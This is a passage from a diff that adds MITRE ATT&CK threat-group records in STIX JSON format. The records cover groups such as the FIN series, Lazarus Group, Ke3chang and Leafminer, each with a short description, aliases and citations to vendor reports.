"aliases": [ + "Equation" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--96e239be-ad99-49eb-b127-3007b8c1bec9", + "external_references": [ + { + "external_id": "G0020", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0020" + }, + { + "source_name": "Equation", + "description": "(Citation: Kaspersky Equation QA)" + }, + { + "source_name": "Kaspersky Equation QA", + "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, February). Equation Group: Questions and Answers. Retrieved December 21, 2015.", + "url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/08064459/Equation_group_questions_and_answers.pdf" + } + ], + "modified": "2019-01-31T18:38:24.164Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:54.697Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "FIN10", + "description": "[FIN10](https://attack.mitre.org/groups/G0051) is a financially motivated threat group that has targeted organizations in North America since at least 2013 through 2016. The group uses stolen data exfiltrated from victims to extort organizations. (Citation: FireEye FIN10 June 2017)", + "type": "intrusion-set", + "aliases": [ + "FIN10" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b", + "external_references": [ + { + "external_id": "G0051", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0051" + }, + { + "source_name": "FIN10", + "description": "(Citation: FireEye FIN10 June 2017)" + }, + { + "source_name": "FireEye FIN10 June 2017", + "description": "FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf" + } + ], + "modified": "2019-04-25T12:09:56.122Z", + "x_mitre_version": "1.1", + "created": "2017-12-14T16:46:06.044Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "FIN4", + "description": "[FIN4](https://attack.mitre.org/groups/G0085) is a financially-motivated threat group that has targeted confidential information related to the public financial market, particularly regarding healthcare and pharmaceutical companies, since at least 2013.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014) [FIN4](https://attack.mitre.org/groups/G0085) is unique in that they do not infect victims with typical persistent malware, but rather they focus on capturing credentials authorized to access email and other non-public correspondence.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)", + "type": "intrusion-set", + "aliases": [ + "FIN4" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6", + "external_references": [ + { + "external_id": "G0085", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0085" + }, + { + "source_name": "FIN4", + "description": "(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye FIN4 Stealing Insider NOV 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)" + }, + { + "source_name": "FireEye Hacking FIN4 Dec 2014", + "description": "Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/current-threats/threat-intelligence-reports/rpt-fin4.html" + }, + { + "source_name": "FireEye FIN4 Stealing Insider NOV 2014", + "description": "Dennesen, K. et al.. (2014, November 30). FIN4: Stealing Insider Information for an Advantage in Stock Trading?. Retrieved December 17, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2014/11/fin4_stealing_insid.html" + }, + { + "source_name": "FireEye Hacking FIN4 Video Dec 2014", + "description": "Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.", + "url": "https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html" + } + ], + "modified": "2019-04-18T20:19:49.089Z", + "x_mitre_version": "1.0", + "created": "2019-01-31T02:01:45.129Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[FIN5](https://attack.mitre.org/groups/G0053) is a financially motivated threat group that has targeted personally identifiable information and payment card information. The group has been active since at least 2008 and has targeted the restaurant, gaming, and hotel industries. The group is made up of actors who likely speak Russian. (Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)", + "aliases": [ + "FIN5" + ], + "id": "intrusion-set--85403903-15e0-4f9f-9be4-a259ecad4022", + "external_references": [ + { + "external_id": "G0053", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0053" + }, + { + "source_name": "FIN5", + "description": "(Citation: FireEye Respond Webinar July 2017) (Citation: Mandiant FIN5 GrrCON Oct 2016) (Citation: DarkReading FireEye FIN5 Oct 2015)" + }, + { + "source_name": "FireEye Respond Webinar July 2017", + "description": "Scavella, T. and Rifki, A. (2017, July 20). Are you Ready to Respond? (Webinar). Retrieved October 4, 2017.", + "url": "https://www2.fireeye.com/WBNR-Are-you-ready-to-respond.html" + }, + { + "source_name": "Mandiant FIN5 GrrCON Oct 2016", + "description": "Bromiley, M. and Lewis, P. (2016, October 7). Attacking the Hospitality and Gaming Industries: Tracking an Attacker Around the World in 7 Years. Retrieved October 6, 2017.", + "url": "https://www.youtube.com/watch?v=fevGZs0EQu8" + }, + { + "source_name": "DarkReading FireEye FIN5 Oct 2015", + "description": "Higgins, K. (2015, October 13). Prolific Cybercrime Gang Favors Legit Login Credentials. Retrieved October 4, 2017.", + "url": "https://www.darkreading.com/analytics/prolific-cybercrime-gang-favors-legit-login-credentials/d/d-id/1322645?" + } + ], + "x_mitre_version": "1.0", + "modified": "2019-04-24T19:41:25.412Z", + "type": "intrusion-set", + "created": "2018-01-16T16:13:52.465Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "name": "FIN5", + "x_mitre_contributors": [ + "Walker Johnson" + ] + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "FIN6", + "description": "[FIN6](https://attack.mitre.org/groups/G0037) is a cyber crime group that has stolen payment card data and sold it for profit on underground marketplaces. This group has aggressively targeted and compromised point of sale (PoS) systems in the hospitality and retail sectors.(Citation: FireEye FIN6 April 2016)(Citation: FireEye FIN6 Apr 2019)", + "type": "intrusion-set", + "aliases": [ + "FIN6" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb", + "external_references": [ + { + "external_id": "G0037", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0037" + }, + { + "source_name": "FIN6", + "description": "(Citation: FireEye FIN6 April 2016)" + }, + { + "source_name": "FireEye FIN6 April 2016", + "description": "FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf" + }, + { + "source_name": "FireEye FIN6 Apr 2019", + "description": "McKeague, B. et al. (2019, April 5). Pick-Six: Intercepting a FIN6 Intrusion, an Actor Recently Tied to Ryuk and LockerGoga Ransomware. Retrieved April 17, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/pick-six-intercepting-a-fin6-intrusion.html" + } + ], + "modified": "2019-06-28T14:59:17.367Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:32:06.015Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "FIN7", + "description": "[FIN7](https://attack.mitre.org/groups/G0046) is a financially-motivated threat group that has primarily targeted the U.S. retail, restaurant, and hospitality sectors since mid-2015. They often use point-of-sale malware. A portion of [FIN7](https://attack.mitre.org/groups/G0046) was run out of a front company called Combi Security. [FIN7](https://attack.mitre.org/groups/G0046) is sometimes referred to as [Carbanak](https://attack.mitre.org/groups/G0008) Group, but these appear to be two groups using the same [Carbanak](https://attack.mitre.org/software/S0030) malware and are therefore tracked separately. (Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: FireEye CARBANAK June 2017) (Citation: FireEye FIN7 Aug 2018)", + "type": "intrusion-set", + "aliases": [ + "FIN7" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc", + "external_references": [ + { + "external_id": "G0046", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0046" + }, + { + "source_name": "FIN7", + "description": "(Citation: FireEye FIN7 March 2017) (Citation: FireEye FIN7 April 2017) (Citation: Morphisec FIN7 June 2017) (Citation: FireEye FIN7 Shim Databases) (Citation: FireEye FIN7 Aug 2018)" + }, + { + "source_name": "FireEye FIN7 March 2017", + "description": "Miller, S., et al. (2017, March 7). FIN7 Spear Phishing Campaign Targets Personnel Involved in SEC Filings. Retrieved March 8, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/03/fin7_spear_phishing.html" + }, + { + "source_name": "FireEye FIN7 April 2017", + "description": "Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html" + }, + { + "source_name": "FireEye CARBANAK June 2017", + "description": "Bennett, J., Vengerik, B. (2017, June 12). Behind the CARBANAK Backdoor. Retrieved June 11, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/behind-the-carbanak-backdoor.html" + }, + { + "source_name": "FireEye FIN7 Aug 2018", + "description": "Carr, N., et al. (2018, August 01). On the Hunt for FIN7: Pursuing an Enigmatic and Evasive Global Criminal Operation. Retrieved August 23, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2018/08/fin7-pursuing-an-enigmatic-and-evasive-global-criminal-operation.html" + }, + { + "source_name": "Morphisec FIN7 June 2017", + "description": "Gorelik, M.. (2017, June 9). FIN7 Takes Another Bite at the Restaurant Industry. Retrieved July 13, 2017.", + "url": "http://blog.morphisec.com/fin7-attacks-restaurant-industry" + }, + { + "source_name": "FireEye FIN7 Shim Databases", + "description": "Erickson, J., McWhirt, M., Palombo, D. (2017, May 3). To SDB, Or Not To SDB: FIN7 Leveraging Shim Databases for Persistence. Retrieved July 18, 2017.", + "url": "https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html" + } + ], + "modified": "2019-06-30T23:13:17.972Z", + "x_mitre_version": "1.2", + "created": "2017-05-31T21:32:09.460Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "FIN8", + "description": "[FIN8](https://attack.mitre.org/groups/G0061) is a financially motivated threat group known to launch tailored spearphishing campaigns targeting the retail, restaurant, and hospitality industries. (Citation: FireEye Obfuscation June 2017) (Citation: FireEye Fin8 May 2016)", + "type": "intrusion-set", + "aliases": [ + "FIN8" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--fd19bd82-1b14-49a1-a176-6cdc46b8a826", + "external_references": [ + { + "external_id": "G0061", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0061" + }, + { + "source_name": "FIN8", + "description": "(Citation: FireEye Obfuscation June 2017)" + }, + { + "source_name": "FireEye Obfuscation June 2017", + "description": "Bohannon, D. & Carr N. (2017, June 30). Obfuscation in the Wild: Targeted Attackers Lead the Way in Evasion Techniques. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2017/06/obfuscation-in-the-wild.html" + }, + { + "source_name": "FireEye Fin8 May 2016", + "description": "Kizhakkinan, D. et al.. (2016, May 11). Threat Actor Leverages Windows Zero-day Exploit in Payment Card Data Attacks. Retrieved February 12, 2018.", + "url": "https://www.fireeye.com/blog/threat-research/2016/05/windows-zero-day-payment-cards.html" + } + ], + "modified": "2019-03-22T20:21:57.370Z", + "x_mitre_version": "1.0", + "created": "2018-04-18T17:59:24.739Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "GCMAN", + "description": "[GCMAN](https://attack.mitre.org/groups/G0036) is a threat group that focuses on targeting banks for the purpose of transferring money to e-currency services. (Citation: Securelist GCMAN)", + "type": "intrusion-set", + "aliases": [ + "GCMAN" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--0ea72cd5-ca30-46ba-bc04-378f701c658f", + "external_references": [ + { + "external_id": "G0036", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0036" + }, + { + "source_name": "GCMAN", + "description": "(Citation: Securelist GCMAN)" + }, + { + "source_name": "Securelist GCMAN", + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, February 8). APT-style bank robberies increase with Metel, GCMAN and Carbanak 2.0 attacks. Retrieved April 20, 2016.", + "url": "https://securelist.com/apt-style-bank-robberies-increase-with-metel-gcman-and-carbanak-2-0-attacks/73638/" + } + ], + "modified": "2018-10-17T00:14:20.652Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:05.611Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Gallmaker", + "description": "[Gallmaker](https://attack.mitre.org/groups/G0084) is a cyberespionage group that has targeted victims in the Middle East and has been active since at least December 2017. The group has mainly targeted victims in the defense, military, and government sectors.(Citation: Symantec Gallmaker Oct 2018)", + "type": "intrusion-set", + "aliases": [ + "Gallmaker" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--2fd2be6a-d3a2-4a65-b499-05ea2693abee", + "external_references": [ + { + "external_id": "G0084", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0084" + }, + { + "source_name": "Gallmaker", + "description": "(Citation: Symantec Gallmaker Oct 2018)" + }, + { + "source_name": "Symantec Gallmaker Oct 2018", + "description": "Symantec Security Response. (2018, October 10). Gallmaker: New Attack Group Eschews Malware to Live off the Land. Retrieved November 27, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/gallmaker-attack-group" + } + ], + "modified": "2019-04-16T14:51:35.135Z", + "x_mitre_version": "1.0", + "created": "2019-01-30T14:26:42.897Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Gamaredon Group", + "description": "[Gamaredon Group](https://attack.mitre.org/groups/G0047) is a threat group that has been active since at least 2013 and has targeted individuals likely involved in the Ukrainian government. (Citation: Palo Alto Gamaredon Feb 2017)", + "type": "intrusion-set", + "aliases": [ + "Gamaredon Group" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--2e290bfe-93b5-48ce-97d6-edcd6d32b7cf", + "external_references": [ + { + "external_id": "G0047", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0047" + }, + { + "source_name": "Gamaredon Group", + "description": "(Citation: Palo Alto Gamaredon Feb 2017)" + }, + { + "source_name": "Palo Alto Gamaredon Feb 2017", + "description": "Kasza, A. and Reichel, D.. (2017, February 27). The Gamaredon Group Toolset Evolution. Retrieved March 1, 2017.", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit-42-title-gamaredon-group-toolset-evolution/" + } + ], + "modified": "2019-03-25T12:57:18.482Z", + "x_mitre_version": "1.0", + "created": "2017-05-31T21:32:09.849Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Gorgon Group", + "description": "[Gorgon Group](https://attack.mitre.org/groups/G0078) is a threat group consisting of members who are suspected to be Pakistan-based or have other connections to Pakistan. The group has performed a mix of criminal and targeted attacks, including campaigns against government organizations in the United Kingdom, Spain, Russia, and the United States. (Citation: Unit 42 Gorgon Group Aug 2018)", + "type": "intrusion-set", + "aliases": [ + "Gorgon Group" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--1f21da59-6a13-455b-afd0-d58d0a5a7d27", + "external_references": [ + { + "external_id": "G0078", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0078" + }, + { + "source_name": "Gorgon Group", + "description": "(Citation: Unit 42 Gorgon Group Aug 2018)" + }, + { + "source_name": "Unit 42 Gorgon Group Aug 2018", + "description": "Falcone, R., et al. (2018, August 02). The Gorgon Group: Slithering Between Nation State and Cybercrime. Retrieved August 7, 2018.", + "url": "https://researchcenter.paloaltonetworks.com/2018/08/unit42-gorgon-group-slithering-nation-state-cybercrime/" + } + ], + "modified": "2019-07-25T14:56:46.517Z", + "x_mitre_version": "1.2", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Group5", + "description": "[Group5](https://attack.mitre.org/groups/G0043) is a threat group with a suspected Iranian nexus, though this attribution is not definite. The group has targeted individuals connected to the Syrian opposition via spearphishing and watering holes, normally using Syrian and Iranian themes. [Group5](https://attack.mitre.org/groups/G0043) has used two commonly available remote access tools (RATs), [njRAT](https://attack.mitre.org/software/S0385) and [NanoCore](https://attack.mitre.org/software/S0336), as well as an Android RAT, DroidJack. (Citation: Citizen Lab Group5)", + "type": "intrusion-set", + "aliases": [ + "Group5" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--7331c66a-5601-4d3f-acf6-ad9e3035eb40", + "external_references": [ + { + "external_id": "G0043", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0043" + }, + { + "source_name": "Group5", + "description": "(Citation: Citizen Lab Group5)" + }, + { + "source_name": "Citizen Lab Group5", + "description": "Scott-Railton, J., et al. (2016, August 2). Group5: Syria and the Iranian Connection. Retrieved September 26, 2016.", + "url": "https://citizenlab.ca/2016/08/group5-syria/" + } + ], + "modified": "2019-07-25T17:52:06.421Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:32:08.304Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Honeybee", + "description": "[Honeybee](https://attack.mitre.org/groups/G0072) is a campaign led by an unknown actor that targets humanitarian aid organizations and has been active in Vietnam, Singapore, Argentina, Japans, Indonesia, and Canada. It has been an active operation since August of 2017 and as recently as February 2018. (Citation: McAfee Honeybee)", + "type": "intrusion-set", + "aliases": [ + "Honeybee" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--ebb73863-fa44-4617-b4cb-b9ed3414eb87", + "external_references": [ + { + "external_id": "G0072", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0072" + }, + { + "source_name": "Honeybee", + "description": "(Citation: McAfee Honeybee)" + }, + { + "source_name": "McAfee Honeybee", + "description": "Sherstobitoff, R. (2018, March 02). McAfee Uncovers Operation Honeybee, a Malicious Document Campaign Targeting Humanitarian Aid Groups. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-uncovers-operation-honeybee-malicious-document-campaign-targeting-humanitarian-aid-groups/" + } + ], + "modified": "2019-03-25T12:58:43.919Z", + "x_mitre_version": "1.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Ke3chang", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) is a threat group attributed to actors operating out of China.\n[Ke3chang](https://attack.mitre.org/groups/G0004) has targeted several industries, including oil, government, military, and more. (Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)", + "type": "intrusion-set", + "aliases": [ + "Ke3chang", + "APT15", + "Mirage", + "Vixen Panda", + "GREF", + "Playful Dragon", + "RoyalAPT" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "external_references": [ + { + "external_id": "G0004", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0004" + }, + { + "source_name": "Ke3chang", + "description": "(Citation: Villeneuve et al 2014) (Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)" + }, + { + "source_name": "APT15", + "description": "(Citation: NCC Group APT15 Alive and Strong)" + }, + { + "source_name": "Mirage", + "description": "(Citation: NCC Group APT15 Alive and Strong)" + }, + { + "source_name": "Vixen Panda", + "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)" + }, + { + "source_name": "GREF", + "description": "(Citation: NCC Group APT15 Alive and Strong)" + }, + { + "source_name": "Playful Dragon", + "description": "(Citation: NCC Group APT15 Alive and Strong) (Citation: APT15 Intezer June 2018)" + }, + { + "source_name": "RoyalAPT", + "description": "(Citation: APT15 Intezer June 2018)" + }, + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + }, + { + "source_name": "APT15 Intezer June 2018", + "description": "Rosenberg, J. (2018, June 14). MirageFox: APT15 Resurfaces With New Tools Based On Old Ones. Retrieved September 21, 2018.", + "url": "https://www.intezer.com/miragefox-apt15-resurfaces-with-new-tools-based-on-old-ones/" + } + ], + "modified": "2019-04-22T15:08:48.005Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:31:47.177Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Lazarus Group", + "description": "[Lazarus Group](https://attack.mitre.org/groups/G0032) is a threat group that has been attributed to the North Korean government.(Citation: US-CERT HIDDEN COBRA June 2017) The group has been active since at least 2009 and was reportedly responsible for the November 2014 destructive wiper attack against Sony Pictures Entertainment as part of a campaign named Operation Blockbuster by Novetta. Malware used by [Lazarus Group](https://attack.mitre.org/groups/G0032) correlates to other reported campaigns, including Operation Flame, Operation 1Mission, Operation Troy, DarkSeoul, and Ten Days of Rain. (Citation: Novetta Blockbuster) In late 2017, [Lazarus Group](https://attack.mitre.org/groups/G0032) used KillDisk, a disk-wiping tool, in an attack against an online casino based in Central America. (Citation: Lazarus KillDisk)\n\nNorth Korean group definitions are known to have significant overlap, and the name [Lazarus Group](https://attack.mitre.org/groups/G0032) is known to encompass a broad range of activity. Some organizations use the name Lazarus Group to refer to any activity attributed to North Korea.(Citation: US-CERT HIDDEN COBRA June 2017) Some organizations track North Korean clusters or groups such as Bluenoroff,(Citation: Kaspersky Lazarus Under The Hood Blog 2017) [APT37](https://attack.mitre.org/groups/G0067), and [APT38](https://attack.mitre.org/groups/G0082) separately, while other organizations may track some activity associated with those group names by the name Lazarus Group.", + "type": "intrusion-set", + "aliases": [ + "Lazarus Group", + "HIDDEN COBRA", + "Guardians of Peace", + "ZINC", + "NICKEL ACADEMY" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--c93fccb1-e8e8-42cf-ae33-2ad1d183913a", + "external_references": [ + { + "external_id": "G0032", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0032" + }, + { + "source_name": "Lazarus Group", + "description": "(Citation: Novetta Blockbuster)" + }, + { + "source_name": "HIDDEN COBRA", + "description": "The U.S. Government refers to malicious cyber activity by the North Korean government as HIDDEN COBRA.(Citation: US-CERT HIDDEN COBRA June 2017)(Citation: US-CERT HOPLIGHT Apr 2019)" + }, + { + "source_name": "Guardians of Peace", + "description": "(Citation: US-CERT HIDDEN COBRA June 2017)" + }, + { + "source_name": "ZINC", + "description": "(Citation: Microsoft ZINC disruption Dec 2017)" + }, + { + "source_name": "NICKEL ACADEMY", + "description": "(Citation: Secureworks NICKEL ACADEMY Dec 2017)" + }, + { + "source_name": "US-CERT HIDDEN COBRA June 2017", + "description": "US-CERT. (2017, June 13). Alert (TA17-164A) HIDDEN COBRA \u2013 North Korea\u2019s DDoS Botnet Infrastructure. Retrieved July 13, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-164A" + }, + { + "source_name": "Novetta Blockbuster", + "description": "Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.", + "url": "https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf" + }, + { + "source_name": "Lazarus KillDisk", + "description": "K\u00e1lnai, P., Cherepanov A. (2018, April 03). Lazarus KillDisks Central American casino. Retrieved May 17, 2018.", + "url": "https://www.welivesecurity.com/2018/04/03/lazarus-killdisk-central-american-casino/" + }, + { + "source_name": "Kaspersky Lazarus Under The Hood Blog 2017", + "description": "GReAT. (2017, April 3). Lazarus Under the Hood. Retrieved April 17, 2019.", + "url": "https://securelist.com/lazarus-under-the-hood/77908/" + }, + { + "source_name": "US-CERT HOPLIGHT Apr 2019", + "description": "US-CERT. (2019, April 10). MAR-10135536-8 \u2013 North Korean Trojan: HOPLIGHT. Retrieved April 19, 2019.", + "url": "https://www.us-cert.gov/ncas/analysis-reports/AR19-100A" + }, + { + "source_name": "Microsoft ZINC disruption Dec 2017", + "description": "Smith, B. (2017, December 19). Microsoft and Facebook disrupt ZINC malware attack to protect customers and the internet from ongoing cyberthreats. Retrieved December 20, 2017.", + "url": "https://blogs.microsoft.com/on-the-issues/2017/12/19/microsoft-facebook-disrupt-zinc-malware-attack-protect-customers-internet-ongoing-cyberthreats/" + }, + { + "source_name": "Secureworks NICKEL ACADEMY Dec 2017", + "description": "Secureworks. (2017, December 15). Media Alert - Secureworks Discovers North Korean Cyber Threat Group, Lazarus, Spearphishing Financial Executives of Cryptocurrency Companies. Retrieved December 27, 2017.", + "url": "https://www.secureworks.com/about/press/media-alert-secureworks-discovers-north-korean-cyber-threat-group-lazarus-spearphishing" + } + ], + "modified": "2019-04-29T18:13:07.879Z", + "x_mitre_version": "1.1", + "created": "2017-05-31T21:32:03.807Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Leafminer", + "description": "[Leafminer](https://attack.mitre.org/groups/G0077) is an Iranian threat group that has targeted government organizations and business entities in the Middle East since at least early 2017. (Citation: Symantec Leafminer July 2018)", + "type": "intrusion-set", + "aliases": [ + "Leafminer", + "Raspite" + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "id": "intrusion-set--32bca8ff-d900-4877-aa65-d70baa041b74", + "external_references": [ + { + "external_id": "G0077", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0077" + }, + { + "source_name": "Leafminer", + "description": "(Citation: Symantec Leafminer July 2018)" + }, + { + "source_name": "Raspite", + "description": "(Citation: Dragos Raspite Aug 2018)" + }, + { + "source_name": "Symantec Leafminer July 2018", + "description": "Symantec Security Response. (2018, July 25). Leafminer: New Espionage Campaigns Targeting Middle Eastern Regions. Retrieved August 28, 2018.", + "url": "https://www.symantec.com/blogs/threat-intelligence/leafminer-espionage-middle-east" + }, + { + "source_name": "Dragos Raspite Aug 2018", + "description": "Dragos, Inc. (2018, August 2). RASPITE. Retrieved November 26, 2018.", + "url": "https://www.dragos.com/blog/20180802Raspite.html" + } + ], + "modified": "2019-03-25T14:12:13.203Z", + "x_mitre_version": "2.0", + "created": "2018-10-17T00:14:20.652Z" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "description": "[Leviathan](https://attack.mitre.org/groups/G0065) is a cyber espionage group that has been active since at least 2013. The group generally targets defense and government organizations, but has also targeted a range of industries including engineering firms, shipping and transportation, manufacturing, defense, government offices, and research universities in the United States, Western Europe, and along the South China Sea. (Citation: Proofpoint Leviathan Oct 2017) (Citation: FireEye Periscope March 2018)", + "aliases": [ + "Leviathan", + "TEMP.Jumper", + "APT40", + "TEMP.Periscope" + ], + "id": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", + "external_references": [ + { + "external_id": "G0065", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/groups/G0065" + }, + { + "source_name": "Leviathan", + "description": "(Citation: Proofpoint Leviathan Oct 2017)" + }, + { + "source_name": "TEMP.Jumper", + "description": "Leviathan was previously reported upon by FireEye as TEMP.Periscope and TEMP.Jumper.(Citation: FireEye APT40 March 2019)" + }, + { + "source_name": "APT40", + "description": "The group identified by Proofpoint as Leviathan appears to significantly overlap with FireEye's reporting on APT40. Additionally, FireEye reporting on TEMP.Periscope (which was combined into APT40) indicated TEMP.Periscope was reported upon as Leviathan.(Citation: 